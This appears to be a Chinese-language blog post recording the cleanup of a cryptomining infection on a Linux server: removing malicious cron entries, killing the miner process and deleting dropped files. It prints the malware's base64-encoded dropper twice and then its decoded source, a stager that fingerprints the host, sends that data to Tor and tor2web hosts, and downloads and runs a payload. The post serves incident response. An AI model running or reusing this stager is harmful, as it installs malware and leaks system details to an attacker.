挖矿病毒处理

 服务器异常 top 发现CPU负载很高

[root@iZ23dx8oo0qZ ~]# crontab -e
定时任务里注释掉或清理掉异常的类似 28 * * * * /root/.systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh > /dev/null 2>&1 & 

文件/root/.systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh也删除掉

hxGYGSgg这个占用CPU很高的进程导致的

[root@iZ23dx8oo0qZ ~]# ps -ef |grep hxGYGSgg

[root@iZ23dx8oo0qZ ~]# kill -9 3102

手动杀掉后

之后top

发现又出现新的进程占用CPU很高

杀掉这个后  又出来

crontab里删除过的异常定时任务也又出现了  再次删除

查看是否注释掉或已删除掉异常定时任务，文件是root用户用crontab -e编辑保存后的文件
[root@iZ23dx8oo0qZ ~]# vim /var/spool/cron/root

[root@iZ23dx8oo0qZ ~]# cat /etc/cron.d/
0hourly                                            raid-check                                         
0systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps  sysstat                                            
[root@iZ23dx8oo0qZ ~]# cat /etc/cron.d/0systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps 
18 * * * * root /opt/systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh > /dev/null 2>&1 &

 删除

[root@iZ23dx8oo0qZ ~]# rm /etc/cron.d/0systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps

opt下面的这个异常的也删除掉

[root@iZ23dx8oo0qZ ~]# cat /opt/systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh 
#!/bin/bash
exec &>/dev/null
echo 2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps
echo Mmtwb1FyNUFKSkhzR0xXTXF2RmVTNnFTS0g5VlBLcHMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiMjV3bGtzZDM1YzJmczU1cm5obGNmejNqamF1anhtYm1ma3ZyeGV1N3RrZ25uZXNkaGgzZ2docWQiKQoKc29ja3ooKSB7Cm49KGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2ggZG9oLmxpIGRvaC5wdWIgZmkuZG9oLmRucy5zbm9weXRhLm9yZyBoeWRyYS5wbGFuOS1uczEuY29tIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRucy5ob3N0dXgubmV0IGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpxPSR7blskKChSQU5ET00lJHsjbltAXX0pKV19CnM9JCgkYyBodHRwczovLyRxLyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfHRhaWwgLTEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash
[root@iZ23dx8oo0qZ ~]# rm /opt/systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh 
rm: remove regular file `/opt/systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh'? y
[root@iZ23dx8oo0qZ ~]#

/tmp/.X11-unix/目录也删除掉

[root@iZ23dx8oo0qZ ~]# crontab -l
28 * * * * /root/.systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh > /dev/null 2>&1 &

[root@iZ23dx8oo0qZ ~]# cat /root/.systemd-private-2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps.sh 
#!/bin/bash
exec &>/dev/null
echo 2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps
echo Mmtwb1FyNUFKSkhzR0xXTXF2RmVTNnFTS0g5VlBLcHMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiMjV3bGtzZDM1YzJmczU1cm5obGNmejNqamF1anhtYm1ma3ZyeGV1N3RrZ25uZXNkaGgzZ2docWQiKQoKc29ja3ooKSB7Cm49KGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2ggZG9oLmxpIGRvaC5wdWIgZmkuZG9oLmRucy5zbm9weXRhLm9yZyBoeWRyYS5wbGFuOS1uczEuY29tIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRucy5ob3N0dXgubmV0IGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpxPSR7blskKChSQU5ET00lJHsjbltAXX0pKV19CnM9JCgkYyBodHRwczovLyRxLyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfHRhaWwgLTEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash


base64_decode 之后

2kpoQr5AJJHsGLWMqvFeS6qSKH9VPKps
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "25wlksd35c2fs55rnhlcfz3jjaujxmbmfkvrxeu7tkgnnesdhh3gghqd")

sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done